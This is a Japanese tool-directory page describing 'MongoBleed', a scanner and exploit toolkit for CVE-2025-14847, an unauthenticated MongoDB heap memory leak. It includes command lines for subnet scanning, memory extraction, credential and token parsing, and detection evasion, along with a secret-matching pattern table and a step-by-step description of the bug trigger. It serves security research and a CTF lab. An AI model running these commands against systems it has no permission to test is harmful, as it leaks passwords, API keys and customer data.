Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
MongoBleed — CVE-2025-14847 (MongoBleed) スキャナーおよびエクスプロイトツール。zlib 圧縮解除による未認証の MongoDB ヒープメモリリーク。検出、メモリ抽出、認証情報の解析、CIDR/バッチスキャン、Nuclei テンプレート、CTF ラボが含まれます。 | Kitploit
ツール/GitHubGitHub/sho-luv/mongobleed
脆弱性スキャナーメモリフォレンジックネットワークマッピングエクスプロイトCTFペネトレーションテスト学習と教育データベースセキュリティラボと実践
GitHubsho-luv/mongobleed

MongoBleed

CVE-2025-14847 (MongoBleed) スキャナーおよびエクスプロイトツール。zlib 圧縮解除による未認証の MongoDB ヒープメモリリーク。検出、メモリ抽出、認証情報の解析、CIDR/バッチスキャン、Nuclei テンプレート、CTF ラボが含まれます。

26ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

MongoBleed

CVE-2025-14847 スキャナーおよびエクスプロイトツールキット

MongoBleed 用のセキュリティ研究ツールキットです。MongoBleed は MongoDB の zlib 圧縮解除処理における深刻な未認証メモリリーク脆弱性であり、攻撃者が認証なしでサーバーのヒープメモリから機密データを抽出できるようにします。

root@kitploit:~
╔╦╗┌─┐┌┐┌┌─┐┌─┐╔╗ ┬  ┌─┐┌─┐┌┬┐
║║║│ │││││ ┬│ │╠╩╗│  ├┤ ├┤  ││
╩ ╩└─┘┘└┘└─┘└─┘╚═╝┴─┘└─┘└─┘─┴┘
CVE-2025-14847 Scanner & Exploit

クイックスタート

root@kitploit:~
# No external dependencies -- Python 3 standard library only
cd cli

# Detect if a target is vulnerable (default action)
python mongobleed.py -t localhost:27017

# Scan an entire subnet
python mongobleed.py -t 192.168.1.0/24

# Extract memory and parse for credentials
python mongobleed.py -t target:27017 -e --credentials

# Safe mode -- detection only, no exploitation
python mongobleed.py -t target:27017 -s

リポジトリ構造

root@kitploit:~
MongoBleed/
├── cli/                          # Command-line scanner and exploitation tool
│   ├── mongobleed.py             # Main CLI tool
│   ├── requirements.txt          # Python dependencies (stdlib only)
│   └── README.md                 # CLI documentation
├── lab/                          # Docker-based CTF lab environment
│   ├── docker-compose.yml        # Multi-container lab setup
│   ├── vulnerable/               # Vulnerable MongoDB configurations
│   ├── patched/                  # Patched MongoDB for comparison
│   ├── no-zlib/                  # Non-exploitable (zlib disabled)
│   ├── monitoring/               # Attack visualization dashboard
│   ├── warmup-heap.sh            # Populate heap with sensitive data
│   └── README.md                 # Lab setup instructions
├── nuclei/                       # Nuclei scanning templates
│   ├── CVE-2025-14847.yaml       # Active exploitation template
│   ├── CVE-2025-14847-safe.yaml  # Safe detection template
│   └── README.md                 # Nuclei template docs
├── docs/                         # Educational documentation
│   ├── README.md                 # Learning path index
│   ├── 01-fundamentals.md        # MongoDB & memory basics
│   ├── 02-vulnerability.md       # CVE-2025-14847 deep dive
│   ├── 03-exploitation.md        # Hands-on exploitation
│   ├── 04-detection.md           # Hunting and detection
│   └── 05-defense.md             # Mitigation strategies
└── README.md                     # This file

特徴

CLIツール

  • バージョンフィンガープリントと圧縮方式の検出(zlib/snappy/zstd)
  • セーフモードオプションによる脆弱性検出
  • オフセットスキャンによるメモリ抽出(範囲設定可能)
  • 認証情報パターン検出(16パターン: パスワード、APIキー、JWT、AWSキー、MongoDB URIなど)
  • CIDR表記のサポート(192.168.1.0/24、10.0.0.0/16:27018)
  • マルチスレッドによるターゲットファイルの一括スキャン
  • 連続抽出モード
  • ヘックスダンプと印字可能文字列の抽出
  • JSON出力とファイルエクスポート
  • 検知回避制御(遅延、ジッター)
  • カラー端末出力

ラボ環境

  • 複数の脆弱なMongoDBバージョン(4.4.29、6.0.26、8.0.16)
  • 比較用のパッチ適用済みバージョン(8.0.17)
  • 緩和策を実証するno-zlibバージョン
  • 現実的な機密データの事前投入
  • 学習用のCTFスタイルフラグ
  • 攻撃の可視化を備えたモニタリングダッシュボード
  • 信頼性の高いエクスプロイトデモのためのヒープウォームアップスクリプト

Nucleiテンプレート

  • 安全な検出テンプレート(バージョンと圧縮方式のチェックのみ)
  • アクティブなエクスプロイトテンプレート(バージョンとzlibの確認)

使用方法

検出

root@kitploit:~
# Check single target
python mongobleed.py -t localhost:27017

# Check with verbose output
python mongobleed.py -t localhost:27017 -v

# Safe mode -- detection only, never sends exploit payload
python mongobleed.py -t localhost:27017 -s

# Show version info
python mongobleed.py -t localhost:27017 --version

ネットワークスキャン

root@kitploit:~
# Scan a /24 subnet
python mongobleed.py -t 192.168.1.0/24

# CIDR with custom port
python mongobleed.py -t 10.0.0.0/24:27018

# Scan from target file (CIDR ranges in file are expanded)
python mongobleed.py -T targets.txt -j 20 -o results.json

# Target file can contain IPs, host:port, and CIDR ranges
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017

メモリ抽出

root@kitploit:~
# Extract memory (default offset range 20-8192)
python mongobleed.py -t target:27017 -e

# Custom offset range
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500

# Continuous extraction (Ctrl+C to stop)
python mongobleed.py -t target:27017 --continuous

# Force extraction even if version check is inconclusive
python mongobleed.py -t target:27017 -e --force

分析

root@kitploit:~
# Parse leaked memory for credentials and secrets
python mongobleed.py -t target:27017 -e --credentials

# Parse for tokens specifically
python mongobleed.py -t target:27017 -e --tokens

# Extract printable strings
python mongobleed.py -t target:27017 -e --strings

# Hexdump output
python mongobleed.py -t target:27017 -e --hexdump

検知回避

root@kitploit:~
# Add delay between requests (milliseconds)
python mongobleed.py -t target:27017 -e --delay 500

# Random jitter on delay
python mongobleed.py -t target:27017 -e --delay 1000 --jitter

Nucleiテンプレート

root@kitploit:~
# Safe detection only
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017

# Active detection
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017

# Scan multiple targets
nuclei -t nuclei/ -l targets.txt

ラボ環境

root@kitploit:~
# Start all containers
cd lab && docker compose up -d

# Services:
# - localhost:27017  MongoDB 4.4.29 (Vulnerable + zlib)
# - localhost:27018  MongoDB 6.0.26 (Vulnerable + zlib)
# - localhost:27019  MongoDB 8.0.16 (Vulnerable + zlib)
# - localhost:27020  MongoDB 8.0.17 (Patched)
# - localhost:27021  MongoDB 8.0.16 (No zlib - not exploitable)
# - localhost:8080   Monitoring Dashboard

# Warm up heap with sensitive data before exploitation
./warmup-heap.sh 27017 50

# Run exploit against lab
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials

CLIオプション

root@kitploit:~
Target:
  -t, --target TARGET     Target host:port or CIDR range (e.g. 192.168.1.0/24)
  -T, --targets FILE      File with target list (supports CIDR per line)

Detection:
  --detect                Detect if target is vulnerable (default action)
  --version               Show MongoDB version
  -s, --safe              Safe mode - detection only, no exploitation

Exploitation:
  -e, --extract           Extract memory via offset scanning
  --min-offset N          Minimum offset to probe (default: 20)
  --max-offset N          Maximum offset to probe (default: 8192)
  --continuous            Continuous extraction mode
  --force                 Force extraction even if version check fails

Analysis:
  --credentials           Parse for credentials
  --tokens                Parse for tokens
  --strings               Extract printable strings
  --hexdump               Display hexdump

Evasion:
  --delay MS              Delay between requests (milliseconds)
  --jitter                Random delay jitter

Output:
  -o, --output FILE       Output file (JSON)
  -v, --verbose           Verbose output
  -q, --quiet             Quiet mode
  --json                  JSON output
  --no-color              Disable colors

Connection:
  --timeout SECS          Connection timeout (default: 10)
  -j, --threads N         Threads for batch scanning (default: 10)

認証情報検出パターン

このツールは抽出したメモリ内で以下のパターンを検索します:

CVE-2025-14847 詳細

影響を受けるバージョン

動作原理

MongoBleed は MongoDB の zlib メッセージ圧縮解除処理(message_compressor_zlib.cpp)の欠陥を悪用します。脆弱なコードは実際の圧縮解除後の長さではなく割り当てられたバッファサイズを返すため、攻撃者は初期化されていないヒープメモリを読み取ることができます。

root@kitploit:~
1. CONNECT (no authentication required)
              ↓
2. SEND MALFORMED OP_COMPRESSED
   ┌──────────────────────────────────┐
   │ originalOpcode: OP_MSG (2013)    │
   │ uncompressedSize: INFLATED       │ ← Bug trigger
   │ compressorId: zlib (2)           │
   │ compressedMessage: [small data]  │
   └──────────────────────────────────┘
              ↓
3. SERVER ALLOCATES OVERSIZED BUFFER
   [ small real data | uninitialized heap memory ]
              ↓
4. BSON PARSER READS INTO HEAP GARBAGE
   Inflated document length causes parser to read
   beyond actual data into heap memory
              ↓
5. ERROR RESPONSE LEAKS MEMORY
   "invalid BSON field name 'password=secret123...'"

漏洩する可能性のある情報

  • データベースの認証情報とパスワード
  • APIキーとトークン
  • セッショントークンとJWT
  • MongoDB接続文字列
  • メモリ内のアプリケーションシークレット
  • 最近のクエリからの顧客PII
  • 内部設定データ

クレジット

  • Joe Desimone(Elastic Security)- オリジナルPoCと脆弱性の命名
  • MongoDBセキュリティチーム - パッチ開発
  • Wiz Research - 実環境での悪用分析
  • Eric Capuano - 検出シグネチャとVelociraptorアーティファクト

参考情報

  • MongoDB Security Advisory
  • Wiz Blog - MongoBleed Analysis
  • Hunting MongoBleed - Eric Capuano
  • Original PoC - joe-desimone/mongobleed
  • NVD - CVE-2025-14847

免責事項

本ツールキットは、正規のセキュリティテスト、研究、教育目的のみで提供されます。所有しているシステム、または明示的なテスト許可を得たシステムに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法です。

ライセンス

MIT License

ツールをダウンロード
種別パターン例
passwordpassword: value, passwd=value
secretsecret: value
api_keyapi_key: sk_live_...
tokentoken: ... (16文字以上)
bearer_tokenBearer eyJ...
jwteyJ... (Base64形式のJWT)
mongodb_urimongodb://user:pass@host
postgres_uripostgresql://...
redis_uriredis://...
stripe_keysk_live_...
openai_keysk-... (48文字以上)
aws_access_keyAKIA...
github_tokenghp_...
slack_tokenxoxb-..., xoxp-...
ctf_flagFLAG{...}
項目値
CVECVE-2025-14847
名称MongoBleed
CWECWE-130 (長さパラメータの不適切な処理)
CVSS8.7 (高)
種別未認証メモリリーク
公開日2025年12月19日
実環境での悪用2025年12月29日
ブランチ脆弱なバージョンパッチ適用済み
8.2.x8.2.0 - 8.2.28.2.3
8.0.x8.0.0 - 8.0.168.0.17
7.0.x7.0.0 - 7.0.277.0.28
6.0.x6.0.0 - 6.0.266.0.27
5.0.x5.0.0 - 5.0.315.0.32
4.4.x4.4.0 - 4.4.294.4.30
4.2.x全バージョンサポート終了 - パッチなし
4.0.x全バージョンサポート終了 - パッチなし
3.6.x全バージョンサポート終了 - パッチなし